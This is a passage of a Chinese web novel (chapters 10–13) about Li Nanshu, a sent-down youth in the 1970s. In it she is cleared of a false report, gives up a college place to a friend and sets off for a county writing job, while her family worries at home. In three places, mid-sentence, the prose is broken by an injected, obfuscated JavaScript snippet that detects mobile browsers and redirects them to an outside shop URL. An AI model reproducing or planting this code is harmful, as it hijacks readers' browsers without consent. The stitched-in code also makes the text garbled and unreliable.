贺琼玉擦了一下汗,“和彦博一起去山上砍柴了,南书,今天公社来人了,问了我们一些情况。” 李南书忙问道:“队长还好吧?” “还好,状态挺正常的。”又道:“现在大家都知道苏清溪干的事,中午吃饭的时候,张瑞星看到她过来,骂了句‘害虫’,把她气得不轻。” 李南书道:“瑞星年纪小些,容易冲动。”张瑞星是和吕晓蕙一批来的,才17岁,好恶都表现在脸上。 贺琼玉又问道:“南书,你说,公社那边,这回会怎么处理苏清溪的问题?” “教育是必不可少的。”说到这里,李南书微微垂眸,至于教育到什么程度,就看公社领导的考量了。 正说着,骆一勤和徐彦博背着木柴回来,徐彦博手里提着一个草篮子,一进院子就道:“你们猜猜,我在山上发现了什么?” 贺琼玉笑道:“我看见了,葡萄!快拿过来,放盆里洗洗!” 三串葡萄放进瓷盆里,紫嘟嘟的,煞是好看,贺琼玉尝了一个,笑道:“又酸又甜,还挺好吃。” 骆一勤先去把柴放好,才出来道:“南书,今天公社来人,你放心,我都照实说了。” 李南书真心实意地道了谢,又道:“队长,我也有个事要和你说,粮站要招一个临时的助征员,我向刘主任推荐了你,你要是愿意的话,明天下午过去找下刘主任?” 骆一勤愣了一下,“咱们公社粮站?”他站在那里,忽然有些手足无措,怀疑自己听错了。 “嗯,刘主任说不能喝酒、不能胡闹、要勤快本分,还要有文化,我看你都符合条件,就是活有点重,搬粮、晒粮的,你要不要去试试看?” 骆一勤哑着声道:“好,我愿意!谢谢!”他完全没想到南书给他带来这样的消息,心里某处暗影重重的地方,好像漏了一丝光进来。 旁边的徐彦博递了几颗葡萄给南书,“南书,南书,看看我,下回有这种事,可得给我介绍啊,这回是给队长的,我就不抢了。” 李南书笑道:“好!” 晚上睡觉的时候,徐永兰轻声道:“南书,这个工作真是及时,给人希望,我都怕队长……” 剩下的话,她没说,但是住在这屋子里的三人都明白。 于菡萏道:“我先前听彦博说,今年工农兵大学招生的消息下来,队长就经常半夜起来,一个人坐在知青点门口,不知道在看哪里。” 韩钰开口道:“南书,你这回干了件善事,好人肯定有好报。” 李南书笑道:“借你吉言。” ** 第二天一早,李南书去公社里,卢东樾就让她快去一趟郑主任办公室。 郑主任见她来,就道:“李同志,根据我们的调查,确认那封举报信是诬告。” 李南书忙问道:“那对苏清溪、孔真真的处罚是什么?主任,这封举报信可将我害得不轻,您在革委会多年,定然知道一个作风的帽子对于女同志的伤害有多大!” 郑主任缓声道:“是,是,所以我们立即组织人员调查、核实,不能让任何一位同志蒙受不白之冤。我们已经查明了情况,苏清溪下放到农场的通知,很快就到你们大队。” 顿了一下,接着道:“至于另一位举报人孔真真同志,她确实完全不知情,是受了苏清溪的蒙蔽,我们已经进行了教育。” 意思是,这件事已经定调了。 李南书噎了一下,“郑主任,我需要她们恢复我的名誉,写封道歉信贴在公社的公告栏上。”她猜到公社会顾忌孔真真的身份,但是一封公开的道歉信,是她的底线。 郑主任答道:“可以,这是合理的要求。” 李南书见好就收,“郑主任,谢谢您费心,这事真是给您添了不少麻烦。” 郑主任似松了一口气,脸上的笑意也真诚了些,“这是我们的本职工作,你们知青千里迢迢的响应号召,从大城市来这插队,我们应该帮助国家和政府照顾好你们,以后有什么困难和委屈,尽管来公社找我们。” 李南书再一次表达了感谢,等从办公室出来,忍不住吁了一口气,心里想着:虚与委蛇,真是够累人的。 她刚站定,就听到卢东樾的声音,“李同志,事情解决了吗?” 李南书愣了下,“嗯,卢同志,你一直在这等我吗?” 卢东樾略过了这个问题,和她道:“李同志,既然举报信的问题解决了,咱们去问问杨书记,可不可以给你换个学校?” 去的路上,李南书侧头看了他一眼,觉得这人还挺热心,为她的事忙前忙后的。 杨书记似乎料到他们会来,一见他们,就递了一张报名表过来,“南书,来,看看,皋市卫校的护理系,不错吧?” 李南书接过来看了一下,卢东樾就先急道:“杨书记,原先不还有申城的学校吗?” 杨书记有些为难地道:“这个名额已经分下去了,你要是再从人家手上拿回来,怕是不成。这护理系也挺好,适合女同志。” 李南书早有预料,这会儿听他说,并不算意外,“谢谢杨书记,但是护士的工作,我怕是不行,我晕针。” 杨书记叹了一声,“就剩这一个了。” 卢东樾急道:“杨书记,不能再和别人换换吗?明明申城的……” 杨书记瞪着眼道:“怎么换?名额已经报给招生组了,像你报名的申城工学院,招生组的人都回申城了,皋市卫校的报名表今天也得填了交上去,明天就是截止日期了。” 卢东樾急得往前走了两步,“那李同志今年又走不了了?杨书记,那封举报信完全是空穴来风,彻彻底底的诬告,革委会都查明了,为什么不能把原来的名额还给她?” 李南书懵了下,看向了卢东樾,什么叫“原来的名额”? 杨书记喊了一声“卢副主任,”见卢东樾情绪稳定下来了,才道:“这事,我和黄书记真的尽力了,从头到尾,我和黄书记都相信南书的人品,才会据理力争给她留了一个名额。哎呀,你们年轻人,不知道我们的工作也很难做。” 李南书忙接话道:“谢谢杨书记,您和黄书记费心了,大学的名额非常宝贵,如果不是您和黄书记帮忙,我肯定是够不到的。” 杨书记听她这样说,叹了口气,“南书,黄书记说去年对不住你,今年我们是真想把你送走的,”顿了下道:“不然,你再在这边待一年?你稿子写得好,真要去上大学了,我们还舍不得,再等一年看看?” 李南书没有回答,反问道:“杨书记,这个卫校我去不了,但是这个名额还是归我们北山大队的吧?” 杨书记点头道:“自然,优先看你们大队有没有符合情况的知青,如果没有,再在别的大队看看。我得提前说,有两点要求,第一参加了这次招生考试,第二政审不会有大问题。” 李南书忙道:“有符合条件的的,我下午就让她们过来。”她现在无比庆幸,当时拖着兰姐和琼玉去参加了学区考试。 等从杨书记办公室出来,李南书和卢东樾道谢,“卢同志,刚才谢谢你为我说话。” “不客气,应该做的。” 李南书试探着问道:“你刚才说我‘原来的名额’,是申城的学校?” 卢东樾点头,“申城财政经济学院经济系。” 李南书有些困惑,“怎么会给我申城的名额?”申城的学校即便是专科,可因地理位置,依然很抢手。 卢东樾道:“可能是你对这块比较有想法,公社给你争取了一下。” 李南书还想再问,卢东樾岔开话题道:“下午还要出简报,不然你先写,我帮你跑腿去通知你们大队的知青过来。” 李南书原本是准备让骆一勤带话的,但等骆一勤处理完助征员的事,怕是还得等一会。 报名的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16117857|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事宜早不宜迟。 “那就麻烦卢同志了,请你把名额和附加要求,转告给徐永兰和贺琼玉两位知青。” 卢东樾临走前问了她一句:“李同志,这是大学的名额,你确实不后悔吗?” 李南书摇头,“不会,是,我可以凭借这个卫校的名额,离开北山大队,摆脱目前的困境,但是一个谎言需要无数个谎言来掩盖,我不愿意让我的青春在这种无谓的痛苦和荒诞中度过,我愿意再等一年。” 卢东樾笑了一下,没有再说,“我骑车去,一会就能赶回来。” 不到半个小时,卢东樾带着徐永兰过来了,徐永兰看到李南书,就道:“琼玉说她不符合条件,让给了我。” 李南书没有多说,把人带到了杨书记办公室填了表。再出来的时候,徐永兰抱着李南书就哭了起来。 李南书安慰她道:“兰姐,这是高兴的事,不哭哈。” 徐永兰努力擦着眼泪,却怎么也擦不干,一边流泪一边道:“南书,谢谢你,我一辈子都会记得你这份情。” “没事,兰姐,我去不了,这个名额不能浪费了,真的,我没做什么。” 徐永兰摇摇头,“不,南书,不是你,我不可能能拿到这个名额。”回去的路上,徐永兰哭哭笑笑的,她知道她的人生将要自此改变了。 明明昨天她还在羡慕骆一勤,今天好运就砸到了她头上。 李南书这边,下午出完简报,卢东樾忽然开口道:“李同志,如果可以,我希望你以后能去申城读书。” 李南书愣了一下,“嗯?为什么?” 卢东樾磕绊着道:“申城是……是个好地方,我想你可能会喜欢。”不过是两句话,他说完,倒微微红了脸。 李南书忙着收拾东西,并没注意到,随口问道:“卢同志,你是从申城来插队的吗?” 卢东樾摇头,“不是,我姥姥姥爷在申城,我是从江省过来的,我舅舅过世了,我想去申城那边,陪陪老人家。” 李南书笑道:“你运气不错,抢到了申城工学院的名额,希望我明年也能有你这个运气。” 卢东樾诚恳地道:“期待明年这时候能收到你的喜讯,如果后面有什么需要我帮忙的,也尽管给我来信。” “谢谢卢同志。” 这天傍晚,两个人在公社门口告别,等南书走远了,卢东樾望着她的背影,忽然有什么涌进了他的脑海里,骑着自行车追了过去,等追到了人,微微喘着气道:“李同志,我送你好不好?” 李南书有些不明所以,“啊?会不会太麻烦?” 卢东樾摇头,“不麻烦,可以吗?” 他的眼睛很诚恳,李南书低了头,这么一瞬间,她大抵明白,所谓的“原来的名额”是怎么来的,她刚要开口拒绝,就听卢东樾道:“李南书,我觉得你是一个很好的同志,我马上要去上大学,以后很难再有机会见面,我希望能送你一趟,可以吗?” 说到最后,带了点恳求。 李南书心里一软,“好,那就麻烦卢同志了。” 晚风徐徐,带着青草的气息,坐在后排的李南书有一瞬间的恍神,有世间安好的感觉,她放任自己在这空茫的思绪里浮沉了一会,一直到她们村口。 卢东樾很认真地和她握手道:“李同志,我非常懊悔,没有早些时候和你打招呼,如果我们早认识一点,我想,我会比今天更勇敢一点。” 李南书莞尔,“不,你今天也很勇敢。”她确实有被他的勇敢和真诚打动一点。 卢东樾道:“希望我们下回见面的时候,不会再这么生疏地喊‘同志’。” “好!谢谢你!” 两人站在村口挥手,李南书想,如果真的早一点认识,有更多的时间交流,她会不会喜欢这个热忱、勇敢的青年,她不清楚。 这一瞬间,她忽而想到,原书里,苏清溪是顶替了她的名额,去申城上大学的,但全书并没出现卢东樾的名字?在那个时空里,这个青年最后怎么样了呢? 11. 第 11 章 6月10日傍晚,大家正围在院子里的石桌上吃晚饭,大队长刘山峰过来,“哎,南书呢?” “大队长,我在呢!”李南书正在盛山芋粥,忙放了碗出来,“大队长,您找我呢?” “南书,今天我去公社办事,刚好遇到了杨书记,说你被抽调到了县里帮忙,让你明天上午十点之前去一趟。” 李南书有点发懵,“大队长,杨书记有说什么事吗?” 刘山峰笑道:“好事,我听说是你这次简报写得好,县里领导下来看到了,让你去他们那帮帮忙。” 李南书松了口气,写稿子她不怕。 角落里的苏清溪也听得一清二楚,李南书没有上成工农兵大学,可是县里领导看中她写的东西,她要去县里帮忙了。转念一想,再怎么帮忙,也不过是临时工。 前头的刘山峰话说完了,却并不走,眼睛在院子里扫了一圈,“小苏不在吗?” 苏清溪忙应了声,“我在。” 刘山峰轻轻咳了声,“小苏,革委会下来一份通知,让你去白山农场进行劳动改造,你明早五点前得赶到公社门口等车,东西最好不要带太多,车上人多,可能就被挤掉了……” 刘山峰的话还没说完,苏清溪就颤着声问道:“大队长,我要去多久?” “通知上说的是两年。”刘山峰说到这里,叹了声,“小苏啊,你年纪不大,可得好好改造。哎呀,你说你当初怎么就犯这糊涂呢?” 苏清溪青白着脸,没有应声。 刘山峰摇着头走了,院子里的气氛有些凝滞。 张瑞星忽扬着声问道:“骆哥,你这月底是不是就要去粮站了?工资说了没?” “是,26块钱一个月。” 张瑞星“哟”了一声,“那以后我馋了,去粮站找你,你可得请客。” 骆一勤脸上带着一点笑意,温和地应着。气氛忽然就活络了一些,男知青们你一言我一语地聊起来。 女知青们没有搭话,但也是互相帮着夹菜、收碗筷,看起来热闹得很。 只有苏清溪,一个人站在角落里,哪里都插不进去,默默回屋去了。她知道大家都视她为洪水猛兽,好像她会张着血盆大口把他们都吞下去一样。 明明先前,韩钰、于菡萏也算是她的朋友,即便她和李南书闹得很不愉快的时候,大家也不都是站在李南书那一边的。 一封举报信,她得罪了所有人。 夜幕很快就降临,李南书洗漱好后,就坐在桌子前,借着煤油灯橘黄的光写信,大哥上次的信里,还问她工农兵大学的事,她没去成,得和大哥说一声。 她把名额的事,简单说了一遍,末了道:“大哥,你不要急着皱眉头,下乡之前,我就和你们说过,我去乡下比留在城里更有前途,你看,我现在不是帮助了我的朋友吗? 大哥,不要担心我,我已经20岁了,比刚下乡的时候,已然成长了很多,请你相信,我能照顾好自己。 祝好,勿念!” 把信写好,李南书微微叹气,她大哥自小就少年老成,有一颗七巧玲珑心,他们兄弟姐妹玩的小戏法没有一个能蒙过他的眼睛,当初那封举报信到爸爸单位的时候,她最先担心的是爸爸,然后就是大哥。 她大哥那时候是副市长的秘书,他即将要在广阔的天地里施展抱负,她可不忍心让大哥明珠蒙尘。 等把信封好,就听到苏清溪在外面喊她,徐永兰皱眉道:“别理她,马上要去劳改的人,还不知道要发什么疯?” 门外的苏清溪急道:“我是来还钱的。” 李南书出来,就见苏清溪递了一把粮票和钱票过来,然后伸手道:“李南书,这是剩下的,你把先前的借条还我。” “你等下,”李南书把钱票接过来,一张一张的数了两遍,仔细、认真的,让苏清溪都皱了眉,不高兴地道:“李南书,你也太谨慎了。” 李南书确定没有错误后,才抬头道:“你马上就走了,要是少了一张两张的,我还能追到农场去吗?”转身进屋把借条拿了出来。 薄薄的一张纸,苏清溪几乎是迫不及待地抢了过来,将它撕得粉碎,然后有些畅快地道:“李南书,我们之间,一笔勾销了。”李南书的手里,可没有她任何把柄了。 李南书提醒她道:“道歉信呢?” 苏清溪不以为意地道:“我已经写了,孔真真也签了字。”她哄着孔真真签了字,就是看在孔真真的份上,这份道歉信也不会存档,不过就是公社领导哄李南书不闹罢了。 至于脸面,她都要去劳动改造了,无所谓什么脸面不脸面的。 李南书没吱声。 苏清溪望着她,有些不确定地问道:“我听说,你把上大学的名额让给了徐永兰?” “不算让,兰姐符合卫校招生条件。” 苏清溪深呼吸了一口气,定定地看着她道:“李南书,你和这里的知青不一样,虽然你不怎么提家里,但我想,你家里条件肯定不差,家人应该很爱你,你不怕饿肚子,不怕受欺负,也不害怕待在这小山村是三年、五年,还是十年。” 苏清溪见她不否认,接着道:“我不一样,我上面有一个继姐,下面还有母亲再婚后的弟弟妹妹,我从小就知道,如果我不努力争取,那个家就不会有我的位置,我得为自己谋出路。”她说到这里,原先还有些伤感的眼睛,又透出几分冷意来。 李南书皱眉道:“我们每个人都在为自己谋出路,如果都像你一样,你晚上还敢闭眼睡觉吗?” 苏清溪嗤笑了一声,“别把我和那群蠢猪比,他们知道什么,只会浑浑噩噩地过日子。” 李南书真的有些好奇,“苏清溪,折腾了这么多,最后是这个结果,你不后悔吗?” “不会”苏清溪回答的很干脆,望着她道:“李南书,你去年没走成,今年又没走成,难不成还相信明年能走得掉吗?如果我要留在这里发霉发烂,你不也是吗?”这一局,就算她输了,那也把李南书拽下来,和她一起沉沦了。 很值! 外头月明星疏,借着屋里的灯光,依稀能看见苏清溪眼里的幸灾乐祸,李南书觉得有点好笑,冷淡地道:“那怕是不能如你所愿了。” 说完就没再睬她,回屋睡觉去了。 身后还传来苏清溪的讥讽,“那是,我可比不上你的境界,李南书,这个院子里不知道有多少人说你傻,说你蠢?大家不理我,是因为我举报了你吗?不是,他们只是单纯害怕‘举报’这两个字而已,只有你,和一群蠢猪掏心掏肺。” 她喊得歇斯底里的,回应她的是“哐”的一下关门声。 于菡萏皱着眉道:“这人明天都要去劳动改造了,还在这挑拨离间的。” 韩钰道:“当大家都和她一样,狼心狗肺。” 徐玉兰却有点不安,走到李南书床边道:“南书,她说的也不算错,你把名额让给了我,万一你明年走不掉怎么办?” 李南书握着她手道:“兰姐,你不要有这种思想负担,不是我让你的,我本身不符合卫校的招生条件,你恰好符合,你性格温和、耐心,以后肯定是一个好医护。”抛开晕针不说,她也不想当护士,她才20岁,就算是挨到77年高考,年龄也不大。 徐玉兰抱着她,“南书,我一定是上辈子积了好大的福气。” 李南书拍拍她肩膀,“肯定是的,兰姐。” 一夜无话,凌晨公鸡打鸣,把李南书叫醒了,窗外的月光漏了一点到屋里来,地面上有一块亮堂堂的,她估摸着可能四点了。不一会儿,就听到隔壁屋子开门的声音,应该是苏清溪出门了。 李南书想,她俩都没去上大学,那原书里的剧情,是不是就此中止了?她不会死,她的哥姐也不会反目成仇,大家都好好地过日子。 她忽然觉得很安心,昏昏沉沉地又睡着了,梦见自己回家去了,妈妈每天换着花样给她做吃的,松鼠桂鱼、红烧蹄髈、小鸡炖蘑菇、千张结烧肉,哥哥姐姐都围在桌前,笑她是个馋猫…… ** 北省江城。 舒向芫一到家,就拆开了女儿寄来的信,看到一半的时候,忽然站了起来,招呼在择菜的二女儿道:“南熹,你妹说想回家来看看。” 李南熹接过来一看,只见上面写着:“妈,我上次回家都是1970年的春节了,最近梅雨季节,地里不忙,我想中下旬的时候回来看看……” 李南熹心里慌了一瞬,很快镇定了下来,“妈,我明天给她拍个电报,说你和爸爸最近都出差了,我和哥姐都忙,让她年底再回来。” 舒向芫道:“行,你明早给她拍电报去。”又叹道:“以前都不着家的人,还是我们去看了她几回,现在怎么惦记着回来呢?” “妈,她大概就是一时兴起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16117858|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们拍个电报去,她肯定就打消念头了。” 舒向芫点点头,额头的皱纹却是一点都没舒展,摩挲着手里的信纸,这孩子下乡的时候,还不满16岁,一去就是好几年,她每每夜里想起来,都要流眼泪。 想到这里,哑着声音问二女儿道:“南熹,这丫头忽然要回家,会不会是在那边受了委屈?” 李南熹也愣住了,“妈,不然我月底去一趟那边?” “会不会耽误你工作?” “不会,妈,我和你说实话吧,我和宋霖彻底闹掰了,他那边还不死心,跑到厂门口来堵我,我刚好出去躲几天,就是最近单位忙,我月底过去。” 舒向芫应道:“那行,南熹,宋霖那边,不然让你大哥去警告一下?你大哥毕竟还是市长秘书,宋家那边多少要顾忌一点。” 李南熹忙不迭地摆手,“不用,妈,大哥那么忙,我不想拿这些事来烦他。妹妹在乡下,那么苦那么累,不都一个人扛下来了,我这就是谈个对象,我自己能处理得好。”家里,南书最喜欢大哥,她却最怕大哥,每次对上大哥的眼神,好像都在说:你看你,多么懦弱,多么无用? “行,南熹,那你要是应付不过来,就和妈说。” 李南熹忽然想起来,问道:“妈,爸爸已经下放了,南书是不是可以回来了?要不让大哥想想法子,把她调回来吧?她总不能在乡下待一辈子?” 舒向芫有些意动,但还是摇头道:“你妹什么性格,你不知道吗?她都不愿意沾你爸爸的光,还愿意让你大哥帮她吗?” 李南熹道:“妈,南书是怕给爸爸带来麻烦。” 舒向芫叹了一声,“她把你们看得比自己重,她不会回来的,她不愿意让你大哥的仕途上留下污点。” 两个人正聊着,院子里忽然传来吵闹声,舒向芫皱了皱眉,“南熹,怎么像是在喊你啊?” 李南熹忙跑出门,看到院子里的人,脑子立时“轰”了一下。 宋霖看到她出来,眼睛一亮,“南熹,我……我今天在你单位门口没等到你,就问了下你同事,她们说你住在这边,南熹,你知道的,我心里真的有你,我一定会说服我妈妈……” “请你现在,立刻,马上,立刻这里,宋霖,请你立刻走!”李南熹指着院门道,她的声音都在发抖。 眼看着围观的人越来越多,李南熹的脸都急得发白,她刚和妈妈说,她能处理好。 舒向芫听到动静,走了出来,把二女儿拉在身后,“小宋,有什么话,你和我说。” 宋霖干巴巴地喊了声:“舒阿姨好!” 舒向芫缓声问道:“小宋,你来这里,你爸妈知道吗?你和南熹的事,我都知道了,你是家里独子,你爸妈把你看得重,你们家这么做,我们也能理解,你不应该再来为难南熹。” “舒阿姨,我……” 舒向芫摆摆手,压根不给他开口的机会,“小宋,南熹爸爸不在江城里,但是我们东淮、东和,还有南枝都在江城呢,你要是再这么逮着南熹欺负,可别怪阿姨翻脸不认人。” 宋霖急道:“舒阿姨,我真不是这个意思……”对上舒向芫冷淡的眼睛,宋霖咬了咬牙,“行,我这就走。” 又和李南熹道:“南熹,今天是我莽撞了,我回去和我爸妈再沟通沟通,我过几天再来找你。” 等人走了,李南熹回屋就哭了起来。 舒向芫拍拍她的肩膀,“你这丫头,就是眼泪多,不伤心,不伤心,妈妈在呢!” 李南熹吸了吸鼻子,“嗯,妈,我不哭,多大的事啊?” 舒向芫又问道:“南熹,那小宋那边,你准备怎么办?” 李南熹擦干了眼泪,正色道:“妈,绝不可能,我爸一出事,他家就落井下石,我和他绝不可能。” “行,我心里有数了。” 这一晚,李南熹默默流了好一会眼泪,她和宋霖是高中同学,高中毕业不久,就谈了对象,有五年了,她一直觉得他们的爱情已达到了很深的程度,不成想,她爸一出事,他妈妈就换了副嘴脸。 她不觉又想到了妹妹,南书要是在,肯定说:“二姐,多大的事啊?我们吃一顿好吃的吧,什么烦恼都忘了。” 李南熹忽然不哭了,她想起来,她月底要去看南书,最近得多攒点好吃的,那个馋丫头,这次想回家,说不准就是馋狠了,想回来改善伙食。 12. 第 12 章 李南熹第二天就去拍了一份电报,“母出差,兄忙,可年底归。”等把电报发出去,想起来忘记告诉妹妹,她月底要过去的事。 又想,时间还来得及,回头信里再说。 李南熹到钢铁厂门口,就被同事张华莉拉住,悄声问道:“南熹,昨天宋霖没找你麻烦吧?他昨儿问我你的住址,我没过脑子,就说了出来,回头想起来,怕是给你惹麻烦了,心里后悔的不行。” 李南熹摇摇头,“没事,华莉,昨天我妈说几句,他就走了,应该不会再来了。”短时间内是不会再来了。 张华莉笑道:“那可太好了,这些天我看你烦心的,我都替你着急,那宋家见风使舵的,就不是什么好人家,南熹,你幸好还没嫁进去,不然就落入火坑了。” 说着,又看了看李南熹的脸色,轻声道:“我听说,你这个妈妈是继母?那对你还挺好的。” “继母”两个字一出来,李南熹就变了脸色,望着张华莉的眼神冷了许多,“继母的话,是谁说的?” 张华莉支吾了一下,“我……我也忘记了,南熹,我就是关心你,多嘴说了一句,你别往心里去。” 李南熹淡淡地应了两句,就去了财务科。 张华莉望着她的背影,看了好一会儿,什么样的人家,会养出这么单纯的女儿来?那个婆母不好,宋霖却是实打实心里有她的。 李南熹却弃如敝履一般,不再回头。 ** 此时渔县石狮公社里,李南书刚听到一个好消息,有些不确定地问道:“杨书记,去县里写稿子还有工资?” 她眼睛瞪得大大的,一副不敢相信的样子。一个月35块钱,要是写两个月能有70 ,她一个月省20块钱出来,回家的路费就有了。 杨书记也不由笑了起来,“这回是市里组织采访各县劳模,将他们的事迹写出来,整理成册。县里比较重视,特地拨了一项专款,前些天下县长他们来,刚好看到你们出的简报,觉得还不错。” 李南书问道:“那卢同志这次去吗?” 杨书记摇头,“他不去,他还有工作要交接。南书,工资是一回事,要是得了奖,还有另外的奖励。你要是愿意,明天就去县里报道?” 李南书自是愿意的,工资可不低,再者,县里的平台比公社大些,出去闯一闯总是好的。 杨书记给她写了一封介绍信,“你拿着这信,去找县里的副县长陈涛。” 李南书看着手里的介绍信,庆幸上次工农兵大学的事,没和杨书记闹僵,不然这个机会不一定会落到她头上来。 虽然说她会写稿子,但是他们知青里卧虎藏龙的人不少,光石狮公社就有几百个知青。 从杨书记办公室出来,路过武装部的办公室,李南书想了想,准备去和卢东樾说下这个好消息,“请问卢主任在吗?” 一个中年男同志从座位上探出头来,“卢主任有事去县里了,不在这边,同志,你怎么称呼,回头我和卢主任说一声。” “不用,不用,我就是路过,打扰了。”李南书连忙走了。 又去供销社买了一斤鸡蛋糕,并一斤水果糖,先送了一份到郭婶子家,又送了一份到李婶子家,小牛和小花刚割了草回来喂兔子,看到她来,都很高兴。 等孩子去吃糖果了,李南书才拿了八斤肉票、三尺三的布票、三十斤粮票和五十块钱,一并塞给了李婶子,李婶子推着不要,说前头已经收了一次。 李南书坚持道:“婶子,你不要推辞,这都是苏清溪还我的,是小牛应得的,孩子还小着,你手里攒点钱,遇到事也不慌。” 李婶子这才接下,一个劲儿地感谢,“南书,你真是个好姑娘,以后小牛他们长大了,一定得记着你的情分。” “婶子,不用,小牛也帮了我很多。”说着,弯腰抱了一下不知什么时候又挤到门口来的小花和小牛,“哎呦,小牛比姐姐还重。” 小牛的小黑脸很快红了起来,李南书忍不住笑道:“看着不大,抱起来墩墩的,长得真好。” 李婶子笑道:“是,这孩子什么都吃。” 李南书捏了下小牛的脸,她想,这孩子能梦到她落湖,或许在原书的世界里,他们是有几分牵扯的,这一世,她好好地活着,这小娃儿也要好好地长大。 等李南书一走,李家婆媳俩数了一遍手里的钱票,老太太先落了泪,“这姑娘实在太善心了,就是补房租的空落,也能补好几年的了。” 李婶子也喃喃道:“真是个菩萨一样的好姑娘。”当着婆婆的面,她没有说,她那死鬼丈夫,暗地里捣鼓着卖锅刷挣钱,只想着自己吃饼干、鸡蛋糕,一点儿饼干屑也不舍得漏给孩子们吃,这不,噎死了。 南书和她们非亲非故的,却这样帮她们,这么好的人,合该有大福气的。 晚上,李婶子让孩子给李南书送了两个熟鸡蛋来,李南书剥了一个,一分为二,塞到了俩娃的嘴里,然后道:“我吃一个就够了,等姐姐从县里回来,再给你们带好吃的。” 她要收拾行李,托张瑞星把俩孩子送回去了。 贺琼玉在一旁给她帮忙收东西,有些不解地问道:“你对李婶子家的孩子,好像格外的好?” 李南书头也没抬地道:“她家孩子心地好,帮了我好几次,”顿了一下又道:“也可能比较合眼缘。” 贺琼玉“哦”了一声,尾调拖得长长的。 李南书听出不对来,“怎么了,琼玉?” 贺琼玉朝她眨了眨眼,有几分促狭地道:“我当你是为着李婶子家的那个表外甥呢!” “卢东樾?” 见南书反应过来,贺琼玉接着道:“那天他送你回来,我们好几个都看到了,怕你尴尬,都躲在一旁,没吱声。”那天回来,她们几个女同志可是盯着南书瞧了好一会儿。 李南书摇头道:“不是,和他没关系,他马上要去申城上大学了。”这是她和小牛的缘分。 贺琼玉试探着道:“那回他替你来传话,我就看出来一点,南书,这人还挺好的,又是准大学生,你不考虑考虑?” 李南书摇头,“琼玉,你越说越离谱了,我还没想过这些事儿,我现在满心里都是要奔个好前程。” 为着她下乡插队的事,一家人都觉得对不住她,她要是奔个好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16117859|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前程出来,大家心里的疙瘩,就能消下去了。 贺琼玉点点头,“也是,你年纪还小呢,上头除了爸妈,还有好几个哥姐,他们都要给你掌掌眼的吧?” 李南书笑笑,正待要说话,手里装信的铁盒子忽然掉在了地上,贺琼玉忙帮她捡,待捡到两张照片的时候,问道:“南书,这是你下乡前拍的吧?脸上还有婴儿肥呢!” 南书接过来一看,一张是全家福,爸妈坐中间,他们五个围在两边和后面,这是她下乡前,一家人去照相馆拍的。 另一张是她和同学合影,俩人站在一棵合欢树下,脸上都带着笑意。 “南书,这个男同学是谁?长得还挺好看,剑眉星目,瘦瘦高高的,你看这衣服穿在他身上,虽然大了一点,也好看得很。” 李南书看了一眼照片,笑道:“是,不仅长得好,脑子还好使。”个子高,身形又挺拔,穿什么都像模像样的,但他向来不在意这些,他喜欢篆刻、木工,最爱的还是物理,当年大家都说,他以后一定会在这个领域大放异彩。 他是个天才。 “南书,他叫什么名字?” “陈树深,我们是同学,这张照片是毕业的时候照的,我还说等拿到了照片请他吃饭,后来我就下乡来了,照片还是同学转寄过来的。” 她说的大大方方的,一点没有忸怩,贺琼玉的话就吞到肚里去了,全家福大家都有,但是一张同学合照,这样珍之又珍地和全家福放在一起? 一放还是四五年。 这事怎么看,都像是有些说法的。 这时候,徐永兰来喊她俩去吃饭,贺琼玉也就没再提这茬。 晚上,李南书躺在床上,想起插队之前的一些事来,碾转反侧好一会儿,想到明天还得去县城报道,强迫自己脑袋放空,才慢慢睡着。 第二天早上,贺琼玉一直把她送到公社,看着她上了车,又不放心地叮嘱了几句,“南书,要是有什么事,就托人带话回来,大家一起给你想办法。” 李南书笑呵呵地应下,“好,你放心!” 她朝车外的琼玉挥手,恍然间,脑海里想到当年她离开江城的情景来,她也是在火车上朝同学们挥手,大家你一言我一语地说,有事要常寄信回来,大家一起给她想办法。 她一边应着,一边在人群里找人,她的人缘很好,除了已经插队的同学,几乎都来了,可是人群里没有陈树深。 也许是1969年,也许是1970年,她寄了一个信封给陈树深,依旧音信杳无。 那时候他们太小了,又没有遇到过什么挫折,如果是20岁的李南书,或者是30岁的李南书,可能会采取不一样的方法。 但是那年,她还不到16岁,懵懵懂懂的年纪,以为分别不会很久,以为重逢定然有时。 大巴车“哐哒哐哒”地开走了,太阳慢慢爬出了云层,洒下无数耀眼的光芒来,李南书伸手遮了眼睛,那个少年的绮梦渐渐熄灭。 她望着窗外,路边的樟树轻缓缓地摇着叶子,波光粼粼的阳江水面上,飞着几只小鸟,这辆车载着她向不远的前方,她开始期待在县城的新工作。 13. 第 13 章 车出了公社,李南书盘算起来,二姐的婚礼就在十月,这次回去得送她一份贺礼。 